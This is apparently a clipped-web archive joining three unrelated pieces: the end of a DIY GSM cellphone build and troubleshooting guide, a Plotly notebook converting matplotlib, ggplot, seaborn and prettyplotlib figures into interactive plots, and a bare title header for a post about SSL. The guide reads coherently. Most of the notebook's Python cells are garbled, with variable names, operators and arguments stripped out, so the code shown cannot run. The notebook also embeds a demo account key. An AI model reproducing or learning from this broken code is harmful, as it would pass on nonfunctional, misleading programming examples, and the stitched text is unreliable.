including display, buttons, speaker, microphone, etc**.** The source files for
the cellphone are hosted on GitHub \(hardware , software \), which also
includes an issue list where you can file bug reports or request
enhancements**.**

## Variations****

There are two main variants of the DIY cellphone: one that uses a black and
white LCD like those found on old Nokia phones and one that uses an eight-
character matrix of red LEDs**.** The LCD shows more information \(six lines
of fourteen characters\) but breaks over time**.** The variant with the LED
matrix is harder to use but the display is more robust**.**

## Getting the Parts****

There's no kit available for the cellphone but you can order the parts from
various websites**.**

### Electronic Components****

Most of the electronic components are available from SparkFun  and Digi-Key
**.** You'll also need to get the M10 GSM Module  from the Arduino store**.**

Bill of Materials: BOM.pdf  \(LCD variant\), BOM.pdf  \(LED matrix variant\)

### Circuit Board****

You can order the circuit board by uploading the gerber files to a site like
OSH Park  or AP Circuits  or Advanced Circuits **.**

### Tools****

To assemble the phone, you'll a need a good soldering setup: a soldering iron
with a good tip, fine-pitch solder, desolder wick, tweezers, etc**.** To
program the microcontroller, you'll need an AVR in-system programmer \(like
the AVRISP mkII\) and a 3**.** 3V FTDI Cable \(or equivalent breakout
board\)**.** To charge the battery, you'll need a mini-USB cable**.**

To make the laser-cut case, you'll need access to a laser cutter and a small
philips screwdriver**.**

### SIM Card****

The phone should work with a full-size SIM card from any GSM provider**.**
I've been using T-Mobile in the United States but the phone has also been
tested with AT&T and in India, China, and Europe**.**

### Other Materials****

For the laser cut enclosure, you'll need:

  * A sheet of 1/4" / 6 mm plywood, like this craft plywood from Midwest Products  available at many art supply stores**.** \(Avoid the micro-lite aircraft plywood from Midwest Products or other plywood with dark adhesive layers as they tend to burn in the laser-cutter**.**\)
  * A sheet of wood veneer, preferably with adhesive backing**.**
  * Six M0, 5/8", pan-head machine screws \(e**.** g. this 100 pack from McMaster-Carr\)
  * Six M0 nuts \(e**.** g. this 50 pack from McMaster-Carr\)

Or, try making a difference enclosure \(e**.** g. with 3D-printing or by
milling a mold\).

<img src='img/Temp2_1990.jpg' width='240' height='180' alt='Circuit Board
(1/4/2013)' /> <img src='img/Temp2_1991.jpg' width='240' height='180'
alt='Circuit Board (1/4/2013)' />  
_Images of the assembled circuit boards \(LCD variant\)**.** Click to
enlarge._

<img src='img/Temp2_1993.jpg' width='240' height='180' alt='DIY Cellphone (LED
matrix variant)' /> <img src='img/Temp2_1992.jpg' width='240' height='180'
alt='DIY Cellphone (LED matrix variant)' />  
_Images of the assembled circuit boards \(LED matrix variant\)**.** Click to
enlarge._

## Soldering the Electronics****

While the cellphone uses many small, surface-mount components, it's possible
to solder it together by hand with a good soldering iron and some
practice**.** Most of the components are straightforward to solder \(apart
from their small size\), with a few exceptions:

  * _Capacitors_ : Be careful of the polarity on the large \(1000 uF\) capacitors, they may explode if you solder them backwards**.** Use the orange stripe to orient them correctly.
  * _Polarity_ : Other components with polarity include the super-capacitor, the LEDs \(note the two small green dots on one side\), the ATmega1284P microcontroller \(note the circle in one corner\), the M10 GSM module \(which has an arrow in one corner\), the SIM card socket, the microphone, and the diode \(note the faint grey line on one side\)**.** These components have no polarity \(can be soldered either way around\): the crystal \(8 MHz\), speaker, reset button, small capacitors, and resistors**.** Other components only physically align in one orientation \(but make sure the transistors aren't upside down and that the buttons aren't rotated 90 degrees\)**.**
  * _Antenna_ : When soldering the antenna, start with the pad that faces the GSM module**.** That's the one that carries the electrical signal; the others are simply there for structural support \(to hold the antenna down\)**.** You may even be able to heat the solder on that pad from the top of the antenna, the heat can be conducted through the two vias \(small holes\) in it**.**
  * _Solder Jumpers_ : There are two solder jumpers on the bottom of the board, labelled "Cell" and "uC"**.** Solder the center pad of each to the pad labelled "uC"**.** \(This connects the RX and TX lines from the FTDI header to the ATmega1284P on the board so that they communicate over serial**.** If you instead solder the center pad to the "Cell" pad, the FTDI cable connects directly to the GSM module so that you can communicate with it from the computer**.**\)
  * _Speaker_ : The speaker is awkward to solder because it has no legs**.** First, apply solder to the pads on the PCB. Then rest the speaker on top of the PCB \(aligning its pads with those on the board\) and solder it from the bottom**.** You can feed in solder or melt the pre-applied solder from below**.** If it doesn't work, _don't remove the speaker_ \(you might rip its pads off\)**.** Instead, try to re-melt the solder on its pads by inserting the iron into the holes from below**.**
  * _USB Connector_ : Only the two outer \(of the five small\) legs of the USB connector are used, so you don't have to solder the three central legs**.** \(Do solder the four corners, though, they provide structural support\)**.**
  * _ISP Header_ : Because you only need to burn the bootloader once, I typically don't solder pins into the ISP \(2x3\) header**.** Instead, you can insert pins into the connector on your ISP and hold them against the pins \(from the top of the board\) while you burn the bootloader**.** If you have trouble, you can solder pins to the holes but you'll have to adjust the case to make room for it**.**
  * _LCD_ \(LCD variant only\): You only need to solder the eight pins at the top of the screen, not the eight pins on the bottom**.** To solder them, insert male header pins from the bottom \(so that their plastic portion is under the board\)**.** First solder them to the PCB, then put the display on top \(verifying its orientation\)**.** Then solder the pins to the display.

## Compiling the Software****

The cellphone's software is an Arduino program that makes use of various
libraries and a third-party hardware definition**.** You can compile and
upload it with the Arduino software but some initial setup is required:

  1. Download and install Arduino 1**.** 0.4 \(tested\) or 1**.** 0.5 from the Arduino software page .
  2. Checkout the cellphone's source code from GitHub , e.g. "git clone https://github.com/damellis/cellphone2.git"**.**
  3. Checkout the other repositories used by the cellphone's software with "git submodule init" and "git submodule update"**.**
  4. For the LED matrix variant, checkout the LED matrix branch with "git checkout led-matrix"**.** \(The code for the LCD variant is stored in the default master branch**.**\)
  5. Run Arduino and, in the preferences dialog, set your sketchbook folder to the cellphone2 directory \(that you checked out from github\)**.**
  6. Also in the preferences dialog, enable verbose information on compile and upload**.** \(This will help you debug if anything goes wrong.\)
  7. Restart the Arduino software**.**
  8. Select "DIY Cellphone" from the Tools > Board menu**.**
  9. Select AVRISP mkII \(or whichever programmer you're using\) from the Tools > Programmer menu**.**
  10. Plug the LiPo battery into the cellphone**.**
  11. Initiate "Burn Bootloader" from the Tools menu \(while holding the pins in the ISP header against the corresponding holes in the PCB\)**.** This may take a few minutes.
  12. Connect the 3**.** 3V FTDI cable to the FTDI header \(the black wire goes on the side labelled "B", the green on the side labelled "G"\)**.**
  13. Open the Cellphone sketch from the sketchbook**.**
  14. From the Tools > Serial Port menu, select the item corresponding to the FTDI cable**.**
  15. Upload the Cellphone sketch.
  16. The screen should turn on and show the word "connecting"**.**
  17. Insert a SIM card into the socket.
  18. It may take a while for the cellphone to connect to the network**.** If it doesn't connect after a few minutes, try resetting the board \(by pressing the small reset button\)**.** You can see debugging information in the Arduino serial monitor at 9600 baud**.**
  19. Once the phone connects to the network, you'll see the words "connected" and "caching" on the screen**.** After a few seconds, the screen will go blank. That's a sign that the phone has successfully started up and is now on the lock screen**.** See "using the phone" below for more information.

## Using the Phone****

### Unlocking the Phone****

Once the phone successfully starts up, it will be locked and the screen will
be blank**.** To unlock the phone, press any button; the date and time will
appear on the screen for a few seconds \(this is the "unlocking" screen\)**.**
If, during this time, you press the "unlock" key \(the top-left button\), the
phone will unlock and the screen's backlight will turn on**.** The date and
time will remain on-screen, and the soft-keys labels will read "lock" and
"menu"**.** This is the home screen.

### Locking the Phone****

From the home screen, you can lock the phone by pressing the left soft-key
button \(the upper-left button\)**.** The screen and backlight will turn off
but the phone will still be on and able to receive phone calls or text
messages**.**

### Adjusting the Contrast****

When the phone is in the "unlocking" screen, you can adjust the contrast by
using the up and down buttons \(the two central buttons of the group of four
buttons just below the screen\)**.**

### Dialing a Phone Number****

You can dial a number from the home screen**.** Simply press the button
corresponding to the first digit of the number**.** You'll be taken to the
dialing screen where you can enter the rest of the number**.** Press \* to
delete the last digit entered or "back" \(the left soft-key\) to go back to
the home screen**.** By pressing \# one or more times in succession, you can
enter \#, \*, or +**.** To call the number, press the right soft-key
\("call"\)**.**

### Using the Phone Book \(Contact List****\)

From the home screen, press the down arrow \(the lower of the group of four
buttons just below the display\) to enter the phone book**.** Use the down and
up arrows to navigate to the desired entry**.** Press the right soft-key
\("okay"\) to enter a menu from which you can call that contact, send a text
message to that contact, add a new entry to the address book, or edit or
delete the contact**.**

## Troubleshooting****

There are a lot of pieces and, therefore, a lot of things that might not
work**.** Here are some potential problems and some possible solutions**.**

### Can't burn the bootloader onto the microcontroller**.**

  * Does the microcontroller have power**?** \(Is the battery is plugged in and charged?\)
  * Are the legs of the microcontroller soldered correctly \(i**.** e. is each leg actually soldered to the corresponding pad and are the legs free of shorts / solder bridges\)**?** In particular, check the legs connected to the ISP header, to VCC, and to ground**.**
  * Are the pins in the header of the ISP being held firmly against the corresponding holes on the board**?** You might try soldering pins into the ISP header \(on top of the board\)**.**
  * Is the crystal soldered correctly? \(If not, the first step of burning the bootloader might succeed but the second one might fail**.**\)

### Can't compile the cellphone program**.**

  * Are you using Arduino 1.0**.** 4 or 1.0.5?
  * Did you checkout the submodules of the cellphone2 repository**?** \(They contain the required libraries and board definition**.**\)
  * Is the Arduino sketchbook folder set to the cellphone2 folder**?** \(Otherwise, the Arduino software won't be able to find the libraries and the board definition**.**\)
  * Is "DIY Cellphone" selected from the Tools > Board menu**?**

### Can't upload the cellphone program**.**

  * Is the FTDI cable connected correctly \(black wire to side labelled "B"; green wire to "G"\)**?**
  * Did you select the right serial port from the Tools > Serial Port menu**?** \(Try unplugging the FTDI cable and see which item disappears from the menu; that's the one corresponding to the cable**.**\)
  * Are the solder jumpers soldered correctly \(central pad connected to the "uC" pad\)**?**
  * Is the board powered**?**
  * Is the FTDI header soldered correctly**?** The 0**.** 1 uF capacitors near it? The RX and TX legs of the microcontroller**?**
  * Is the crystal still soldered correctly**?**
  * Did the bootloader burn successfully**?** \(If not, see that issue above.\)

### Can't connect to the network**.**

  * Is there a SIM card in the socket**?**
  * Is the SIM socket soldered correctly**?** The 22 ohm resistors? The corresponding pads on the GSM module**?**
  * Is the antenna soldered correctly? The corresponding pad on the GSM module**?**
  * Is the 0 ohm resistor soldered correctly \(to the trace connecting the M10 GSM module to the antenna\)**?**
  * Do you have reception**?**
  * Is the SIM card locked to another phone**?**
  * _AT &T \(and possibly other carriers\)_: have you activated your SIM card and phone on AT&T's website**?** You'll need the IMEI number printed on the M10 GSM module**.**

### Another component doesn't work \(e**.** g. display, speaker, microphone,
buzzer\).

  * Is the component soldered correctly**?**
  * Are the connected components \(e.g. the corresponding legs of the microcontroller or GSM module\) soldered correctly**?**

## Serial Debugging****

You can further debug the phone by communicating with the GSM module via
serial communication with the computer, using the microcontroller as a
proxy**.** To do so, upload the SerialProxy sketch to the phone \(using a
3**.** 3V FTDI cable or breakout board\). Then open the serial monitor and set
the baud rate to 9600 and the line ending to "carriage return"**.** After a
few seconds, you should see:

[code]

    READY
    AT
    OK
    
    
[/code]

That means the GSM is ready to receive AT commands \(text strings that mostly
start with the letters "AT"\)**.** The commands are detailed in the datasheet
for the GSM module  but here are a few basic ones:

AT

    Test/synchronization command**.** If you enter "AT" in the serial monitor \(with a "carriage return" line ending\), you should get a response of "OK"**.**  

AT+CREG?

    Check the status of the network registration \(connection\)**.** The response will be in the form "+CREG 0,N", with N being: 0 \(not registered to a network\), 1 \(registered to a network\), 2 \(searching for networks\), 3 \(network registration denied\), or 5 \(registered, roaming\)**.**
AT+CPBS?

    Display currently-selected phone book**.** Sample response: "+CPBS: "SM",50,250", with the "SM" indicating the SIM card is the current phone book \(some other options include "MC" for the missed call list, "RC" for the received call list, and "ME" for the GSM module phone-book\) and that 50 of its 250 entries are in use**.** This command can be useful for verifying that the GSM module is able to communicate with the SIM card**.**
AT+CPBS="SM"

    Select the SIM card's phone book**.** You can also replace the "SM" with the abbreviations for the other phone books listed previously**.**
AT+CPBR=1

    Read the first entry from the currently-selected phone book**.** Replace the 1 with the number of the entry you wish to read \(up to the total phone book size reported by AT+CPBS**?**\).
## Making the Enclosure****

You can make a simple but functional enclosure from laser-cut plywood and
veneer, along with some small screws \(see materials above\):

  1. Before cutting the case, check that the case files match the circuit board**.** In particular, I've made a lot of tweaks to the size and location of the screw holes, so check that they're in the same place on the PCB and the case**.** \(Note that the holes in the bottom veneer file should be bigger than the others, this is to accommodate the nut, recessing it slightly**.**\)
  2. If you soldered pins onto the ISP header, you'll need to cutout a space for them in the top piece of plywood**.** Edit DIY-Cellphone-Top accordingly.
  3. Laser-cut the plywood \(1/4" / 6mm\) using the DIY-Cellphone-Top and DIY-Cellphone-Bottom files in the Case/ folder  of the damellis/cellphone2hw repository on GitHub**.** The SVG files were created in Inkscape, then exported to hpgl for importing to CorelDraw**.**
  4. Laser-cut the veneer using the DIY-Cellphone-Top-Veneer and DIY-Cellphone-Bottom-Veneer files**.** Cut the veneer with the wood front facing up \(adhesive back face down\)**.**
  5. Remove the adhesive backing from the top veneer piece and stick it to the outer face of the top plywood piece**.** Repeat with the back, again attaching the veneer to the outer face of the plywood**.**
  6. There's a bit of empty space between the top of each button and the veneer**.** You might need to stick small spacers to the back of the top piece of veneer, one for each button \(in the middle of each rectangular flexure cutout in the veneer\)**.** That way, you don't have to depress the veneer as much to press the button**.**
  7. Slip the top and bottom pieces of the case over the circuit board**.** You'll have to fit the battery's wire in between the GSM module and the battery connector, folding it in half**.** The plywood pieces should rest flat against the circuit board**.**
  8. Insert the six screws and thread them onto the nuts**.**

## Design Files****

The design files and source code for the cellphone can be found on GitHub:

****

# http://nbviewer.ipython.org/gist/msund/11349097

**Created:**| _8/21/2014 10:51:38 PM_  
---|---  
**Updated:**| _8/21/2014 10:51:38 PM_  
**Author:**| __  
**Tags:**| _programming math plot_  
  

## 21 Interactive Plots from matplotlib, ggplot for Python,  
prettyplotlib, Stack Overflow, and seaborn

Plotly is collaborative, makes beautiful interactive graphs with a URL for
you, and stores your data and graphs together. This NB shows how to use Plotly
to share plots from some awesome Python plotting libraries. The matplotlylib
project is a collaboration with mpld3 and Jake Vanderplas. We've put together
a User Guide that outlines the full extent of Plotly's APIs.

For best results, you can copy and paste this Notebook and key. Run `$ pip
install plotly` inside a terminal then start up a Notebook. We'll also be
using ggplot, seaborn, and prettyplotlib, which you can also all install form
pip. Let's get started.

In \[1\]:

[code]

    matplotlib inline
    import matplotlib.pyplot   # side-stepping mpl backend
    import matplotlib.gridspec  gridspec # subplots
    import numpy  
    
[/code]

You can use our public key and username or sign up for an account on Plotly.
Plotly is free for public use, you own your data, and you control the privacy.

In \[2\]:

[code]

    import plotly.plotly  
    import plotly.tools  
     plotly.graph_objs import 
    sign_in"IPython.Demo" "1fw3zw2o13"
    
[/code]

In \[3\]:

[code]

    # tls.set_credentials_file("IPython.Demo", "1fw3zw2o13")
    # tls.get_credentials_file()
    
[/code]

You'll want to have version 1.0.0. If not, run `$ pip install plotly
--upgrade` in a terminal. Check out our User Guide for more details on where
to get your key. Problems or questions? Email feedback@plot.ly or find us on
Twitter.

In \[4\]:

[code]

    import plotly
    plotly__version__
    
[/code]

Out\[4\]:

[code]

    '1.0.0'
[/code]

## I. matplotlib Gallery graphs¶

For matplotlib experts, you'll recognize these graphs from the matplotlib
gallery.

In addition to matplotlib and Plotly's own Python API, You can also use
Plotly's other APIs for MATLAB, R, Perl, Julia, and REST to write to graphs.
That means you and I could edit the same graph with any language. We can even
edit the graph and data from the GUI, so technical and non-technical teams can
work together. And all the graphs go to your profile, like this:
https://plot.ly/~IPython.Demo.

You control the privacy by setting `world_readable` to False or True, and can
control your sharing.

Let's get started with this damped oscillation graph.

In \[5\]:

[code]

      figure
    # Make a legend for specific lines.
    import matplotlib.pyplot  
    import numpy  
    
    
      arange  
      arange  
    
    # note that plot returns a list of lines.  The "l1, = plot" usage
    # extracts the first element of the list into l1 using tuple
    # unpacking.  So l1 is a Line2D instance, not a sequence of lines
       
             '--go'     
              'rs-.'
    
    xlabel'time'
    ylabel'volts'
    title'Damped oscillation'
    
    
    
[/code]

Now, to convert it to a Plotly figure, this is all it takes:

In \[6\]:

[code]

    iplot_mpl
    
[/code]

You can hover, zoom, and pan on the figure. You can also strip out the
matplotlib styling, and use Plotly's default styling.

In \[7\]:

[code]

      mpl_to_plotly
    'layout'updateshowlegend
    strip_style
    iplot
    
[/code]

Next up, an example from pylab.

In \[8\]:

[code]

      figure
    
     pylab import 
    
     
        'a damped exponential'
          
          
        return multiply
    
      arange  
    
    
        
     'markersize' 
     'markerfacecolor' 
    
    iplot_mpl
    
[/code]

Here's where this gets special. You can get the data from any Plotly graph.
That means you can re-plot the graph or part of it, or use your favorite
Python tools to wrangle and analyze your data. Check out our getting started
guide for a full background on these features.

In \[9\]:

[code]

    mpl_to_plotlyget_data
    
[/code]

Out\[9\]:

[code]

    [{'name': '_line0',
      'x': [0.0,
       0.20000000000000001,
       0.40000000000000002,
       0.60000000000000009,
       0.80000000000000004,
       1.0,
       1.2000000000000002,
       1.4000000000000001,
       1.6000000000000001,
       1.8,
       2.0,
       2.2000000000000002,
       2.4000000000000004,
       2.6000000000000001,
       2.8000000000000003,
       3.0,
       3.2000000000000002,
       3.4000000000000004,
       3.6000000000000001,
       3.8000000000000003,
       4.0,
       4.2000000000000002,
       4.4000000000000004,
       4.6000000000000005,
       4.8000000000000007],
      'y': [1.0,
       0.25300171651849518,
       -0.54230030891302927,
       -0.44399794031078654,
       0.13885028597711233,
       0.36787944117144233,
       0.09307413008823949,
       -0.19950113459002566,
       -0.16333771416280363,
       0.051080165611754998,
       0.1353352832366127,
       0.034240058964379601,
       -0.073392365906047419,
       -0.060088587008433003,
       0.018791342780197139,
       0.049787068367863944,
       0.012596213757493282,
       -0.026999542555766767,
       -0.022105355809443925,
       0.0069129486808399343,
       0.018315638888734179,
       0.0046338880779826647,
       -0.0099325766273000524,
       -0.0081321059420741033,
       0.0025431316975542792]}]
[/code]

Or you can get the figure makeup. Here, we're using 'IPython.Demo', which is
the username and '3357' which is the figure number. You can use this command
on Plotly graphs to interact with them from the console. You can access graphs
via a URL. For example, for this plot, it's:

https://plot.ly/~IPython.Demo/3357/

In \[10\]:

[code]

    pylab  get_figure'IPython.Demo' '3357'
    
[/code]

In \[11\]:

[code]

    #print figure
    print pylabto_string
    
[/code]

[code]

    Figure(
        data=Data([
            Scatter(
                x=[0.0, 0.2, 0.4, 0.6000000000000001, 0.8, 1.0, 1.2000000000000...],
                y=[1.0, 0.2530017165184952, -0.5423003089130293, -0.44399794031...],
                name='_line0',
                mode='markers',
                marker=Marker(
                    symbol='dot',
                    line=Line(
                        color='#000000',
                        width=0.5
                    ),
                    size=30,
                    color='#0000FF',
                    opacity=1
                )
            )
        ]),
        layout=Layout(
            xaxis=XAxis(
                domain=[0.0, 1.0],
                range=[0.0, 5.0],
                showline=True,
                ticks='inside',
                showgrid=False,
                zeroline=False,
                anchor='y',
                mirror=True
            ),
            yaxis=YAxis(
                domain=[0.0, 1.0],
                range=[-0.6000000000000001, 1.2],
                showline=True,
                ticks='inside',
                showgrid=False,
                zeroline=False,
                anchor='x',
                mirror=True
            ),
            hovermode='closest',
            showlegend=False
        )
    )
    
[/code]

Now let's suppose we wanted to add a fit to the graph \(see our fits post to
learn more\), and re-style it a bit. We can go into the web app, fork a copy,
and edit the image in our GUI. No coding required.

In \[12\]:

[code]

     IPython.display import Image
    Image'https://i.imgur.com/WG0gb9J.png'
    
[/code]

Out\[12\]:

<img src='img/Temp2_10321.png' />

We also keep the data and graph together. You can analyze it, share it, or add
to other plots. You can append data to your plots, copy and paste, import, or
upload data. Take-away: a Python user could make plots with an Excel user,
ggplot2 Ploty package, and MATLAB user. That's collaboration.

In \[13\]:

[code]

    Image'https://i.imgur.com/Mq490fb.png'
    
[/code]

Out\[13\]:

<img src='img/Temp2_10318.png' />

I can now call that graph into the NB. I can keep the styling, re-use that
styling on future graphs, and save styles from other graphs. And if I want to
see the data for the fit or access the figure styling, I can run the same
commands, but on the updated figure and data for this graph. I don't need to
re-code it, and I can save and share this version.

In \[14\]:

[code]

    embed'MattSundquist' '1307'
    
[/code]

Plotly graphs are always interactive, and you can even stream data to the
browser. You can also embed them in the browser with an iframe snippet.

In \[15\]:

[code]

     IPython.display import 
    
[/code]

In \[16\]:

[code]

      """<pre style="background:#f1f1f1;color:#000"><iframe src=<span style="color:#c03030">"https://plot.ly/~etpinard/176/650/550"</span> width=<span style="color:#c03030">"650"</span> height=550<span style="color:#c03030">" frameBorder="</span>0<span style="color:#c03030">" seamless="</span>seamless<span style="color:#c03030">" scrolling="</span>no<span style="color:#c03030">"></iframe></span></pre>"""
    
[/code]

In \[17\]:

Out\[17\]:

[code]

    <iframe src="https://plot.ly/~etpinard/176/650/550" width="650" height=550" frameBorder="0" seamless="seamless" scrolling="no"></iframe>
[/code]

Where it remains interactive. That means your for-free defaults are: D3
graphs, drawn with JavaScript, and shared data. Here's how it looks in the
Washington Post.

In \[18\]:

[code]

    Image'http://i.imgur.com/XjvtYMr.png'
    
[/code]

Out\[18\]:

<img src='img/Temp2_10323.png' />

It's fun to zoom. Then double-click to re-size.

In \[19\]:

[code]

    '<br><center><iframe class="vine-embed" src="https://vine.co/v/Mvzin6HZzLB/embed/simple" width="600" height="600" frameborder="0"></iframe><script async src="//platform.vine.co/static/scripts/embed.js" charset="utf-8"></script></center><br>'
    
[/code]

Out\[19\]:

Plots can be collaboratively edited and shared with others.

In \[20\]:

[code]

    Image'https://i.imgur.com/CxIYtzG.png'
    
[/code]

Out\[20\]:

<img src='img/Temp2_10322.png' />

So you can keep all your plots for your project, team, or personal work in one
plce, you get a profile, like this: https://plot.ly/~jackp/.

In \[21\]:

[code]

    Image'https://i.imgur.com/gUC4ajR.png'
    
[/code]

Out\[21\]:

<img src='img/Temp2_10319.png' />

You can also plot with Plotly with pandas, NumPy, datetime, and more of your
favorite Python tools. We've already imported numpy and matplotlib; here we've
kept them in so you can simply copy and paste these examples into your own NB.

In \[22\]:

[code]

      figure
    
    import numpy  
    import matplotlib.pyplot  
    
    # make a little extra space between the subplots
    subplots_adjustwspace
    
      
      arange  
      randomrandn                 # white noise 1
      randomrandn                 # white noise 2
      
    
    cnse1  convolve  'same'   # colored noise 1
    cnse2  convolve  'same'   # colored noise 2
    
    # two signals with a coherent part and a random part
        cnse1
        cnse2
    
    subplot
         
    
    xlabel'time'
    ylabel's1 and s2'
    
    
    subplot
          
    ylabel'CSD (db)'
    
    iplot_mpl
    
[/code]

Another subplotting example using Plotly's defaults.

In \[23\]:

[code]

      figure
    
     pylab import figure 
     numpy import arange  
    
      arange  
    
      figure
    
      add_subplot
     
    
    set_ylim  
    set_ylabel'1 Hz'
    set_title'A sine wave or two'
    
     label  get_xticklabels
        labelset_color
    
    
      add_subplot
     
    
    set_ylim  
      set_xlabel'Hi mom'
    set_color
    set_fontsize'large'
    
    iplot_mpl strip_style  
    
[/code]

From the gallery here we're shwoing Anscombe's quartet. You might also like
Plotly's blog post on the subject.

In \[24\]:

[code]

      figure
    
     __future__ import print_function
    
    Edward Tufte uses this example from Anscombe to show 4 datasets of x
    and y that have the same mean, standard deviation, and regression
    line, but which are qualitatively different.
    
    matplotlib fun for a rainy day
    
    
     pylab import 
    
       array          
      array        10.84  
      array          
      array  12.74        
      array
      array12.50
    
     
        return 
    
    
    
      array    
    
    subplot
        
    
     xticklabels yticks xticks
      fontsize
    
    subplot
        
    
     xticklabels yticks yticklabels xticks
      fontsize
    
    subplot
        
    
     'III' fontsize
     yticks xticks
    
    subplot
    
      array
        
    
     yticklabels yticks xticks
      fontsize
    
    #verify the stats
    pairs     
       pairs
        print 'mean=%1.2f, std=%1.2f%1.2f  corrcoef
    
    iplot_mpl strip_style  
    
[/code]

[code]

    mean=7.50, std=1.94, r=0.82
    mean=7.50, std=1.94, r=0.82
    mean=7.50, std=1.94, r=0.82
    mean=7.50, std=1.94, r=0.82
    
[/code]

And a final histogram from the matplotlib gallery.

In \[25\]:

[code]

      figure
    
    import numpy  
    import matplotlib.mlab  
    import matplotlib.pyplot  
    
    
    # example data
       # mean of distribution
    sigma   # standard deviation of distribution
        sigma  randomrandn10000
    
    num_bins  
    # the histogram of the data
      patches   num_bins normed facecolor'green' alpha
    # add a 'best fit' line
      normpdf  sigma
      'r--'
    xlabel'Smarts'
    ylabel'Probability'
    
    # Tweak spacing to prevent clipping of ylabel
    subplots_adjust
    
    iplot_mpl strip_style  
    
[/code]

Want to see more matplotlylib graphs? Head over to our API and copy and paste
away.

In \[26\]:

[code]

    Image'https://i.imgur.com/HEJEnjQ.png'
    
[/code]

Out\[26\]:

<img src='img/Temp2_10320.png' />

# II. ggplot for Python¶

An exciting package by Greg Lamp and the team at ŷhat is ggplot for Python.
You can draw figures with ggplot's wonderful syntax and share them with
Plotly. You'll want to run `$ pip install ggplot` to get started.

In \[27\]:

[code]

     ggplot import 
    
[/code]

We'll start out with a plot from the diamonds dataset.

In \[28\]:

[code]

      ggplot'price' diamonds  geom_histogram  facet_wrap"cut" 
    
[/code]

Then share it to Plotly.

In \[52\]:

[code]

       
    iplot_mpl strip_style
    
[/code]

Line charts can be interactive \(drag your mouse along the line to see the
data on the hover\).

In \[30\]:

[code]

      ggplot'date' 'beef'   \
        geom_line 
    
[/code]

In \[31\]:

[code]

       
    iplot_mpl
    
[/code]

Histograms are also fun to hover over to get the exact data.

In \[32\]:

[code]

      ggplot'price' diamonds  geom_histogram  ggtitle'My Diamond Histogram'
    
[/code]

In \[33\]:

[code]

       
    iplot_mpl strip_style
    
[/code]

In \[34\]:

[code]

      ggplot  color diamonds \
        geom_point 
    
[/code]

In \[35\]:

[code]

       
    iplot_mpl strip_style
    
[/code]

You can also use more advanced plotting types in collaboration with pandas.
You can add a geom.

In \[36\]:

[code]

    import pandas  
    
[/code]

In \[37\]:

[code]

    random_walk1  DataFrame
       arange
       cumsumrandomchoice  
    
    random_walk2  DataFrame
       arange
       cumsumrandomchoice  
    
      ggplot  random_walk1  \
        geom_step  \
        geom_step  random_walk2
    
[/code]

In \[38\]:

[code]

       
    iplot_mpl strip_style
    
[/code]

# III. Prettyplotlib graphs in Plotly¶

The lovely gallery of examples from prettyplotlib, a matplotlib enhnacing
library by Olga Botvinnik, is a fun one to make interactive. Here's a scatter;
let us know if you make others. You'll note that not all elements of the
styling come through. Head over to the homepage for documentation.

In \[39\]:

[code]

    fig12  figure
    
    import prettyplotlib  
    
    # Set the random seed for consistency
    random
    
    # Show the whole color range
       range
          randomnormal 
          randomnormal 
          scatter  label
        
    legend
    set_title'prettyplotlib `scatter`'
    legendset_visibleFalse
    
    iplot_mplfig12
    
[/code]

And another prettyplotlib example.

In \[40\]:

[code]

    fig13  figure
    
    import prettyplotlib  
    
    # Set the random seed for consistency
    random
    
    # Show the whole color range
       range
          randomnormalcumsum
          arange
    
        # Specify both x and y
          label linewidth
            
    iplot_mplfig13
    
[/code]

# IV. Plotting with seaborn¶

Another library we really dig is seaborn, a library to maximize aesthetics of
matplotlib plots. It's by by Michael Waskom. You'll need to install it with `$
pip install seaborn`, and may need to import six, which you can do from pip.
The styling isn't yet translated to Plotly, so we'll go to Plotly's default
settings.

In \[41\]:

[code]

    import seaborn  
     matplotlylib import fig_to_plotly
    
[/code]

In \[42\]:

[code]

     sinplot
          linspace  
           range 
                       
    
[/code]

In \[43\]:

[code]

    fig14  figure
    
    set_style"dark"
    sinplot
    
    iplot_mplfig14 strip_style  
    
[/code]

You can also run subplots like this.

In \[44\]:

[code]

    fig15  figure
    
     axes_style"darkgrid"
        subplot
        sinplot
    subplot
    sinplot
    
    iplot_mplfig15 strip_style  
    
[/code]

And a final example, combining plot types.

In \[45\]:

[code]

    import numpy  
     numpy.random import randn
    import pandas  
     scipy import stats
    import matplotlib  
    import matplotlib.pyplot  
    import seaborn  
    
[/code]

In \[46\]:

[code]

    fig16  figure
    
    set_palette"hls"
    "figure" figsize 
      randn
    distplot
    
    iplot_mplfig16 strip_style  
    
[/code]

## V. Stack Overflow Answers¶

We love Stack Overflow, so wanted answer a few questions from there, in
Plotly. If you want to plot data you already have as a histogram and make it
interactive, try this one out.

In \[47\]:

[code]

    fig17  figure
    
    import matplotlib.pyplot  
    import numpy  
    
     sigma   
        sigma  randomrandn10000
       histogram 
    width      
    center      
    center  align'center' widthwidth
    
    iplot_mplfig17 strip_style  
    
[/code]

Here is how to create a density plot like you might in R, but in matplotlib.

In \[48\]:

[code]

    fig18  figure
    
    import matplotlib.pyplot  
    import numpy  
     scipy.stats import gaussian_kde
                
    density  gaussian_kde
      linspace
    densitycovariance_factor  lambda  
    density_compute_covariance
    density
    
    iplot_mplfig18 strip_style  
    
[/code]

Drawing a simple example of different lines for different plots looks like
this...

In \[49\]:

[code]

    fig19  figure
    
    import matplotlib.pyplot  
    import numpy  
    
      arange
    
     
       
       
       
    
    iplot_mplfig19 strip_style  
    
[/code]

...and can get more exciting like this.

In \[50\]:

[code]

    fig20  figure
    
    import matplotlib.pyplot  
    import numpy  
    
    num_plots  
    
    # Have a look at the colormaps here and decide which one you'd like:
    # http://matplotlib.org/1.2.1/examples/pylab_examples/show_colormaps.html
    colormap  gist_ncar
    set_color_cyclecolormap    linspace  num_plots
    
    # Plot several different functions...
      arange
    labels  
       range num_plots  
               
        labelsappendr'$y =    
    
    iplot_mplfig20 strip_style  
    
[/code]

Plotly also lets you draw variables as subscripts in math mode.

In \[51\]:

[code]

    fig21  figure
    
    import matplotlib.pyplot  
    import numpy  
    import matplotlib.mlab  
    
      
    variance  
    
      linspace
    
       range
        sigma  variance
          normpdfsigma
         labelr'$v_{}$'format
    
    xlabel
    ylabel"P(X)"        
    
    iplot_mplfig21 strip_style  
    
[/code]

In \[1\]:

[code]

    # CSS styling within IPython notebook
     IPython.core.display import 
    import urllib2
     css_styling
          'https://raw.githubusercontent.com/plotly/python-user-guide/master/custom.css'
        styles  urllib2urlopen
        return styles
    
    css_styling
    
[/code]

Out\[1\]:

# Financial Cryptography: Founders of SSL call game over?

**Created:**| _10/24/2011 11:52:24 AM_  
---|---  
**Updated:**| _10/24/2011 11:52:24 AM_  
**Author:**| __  
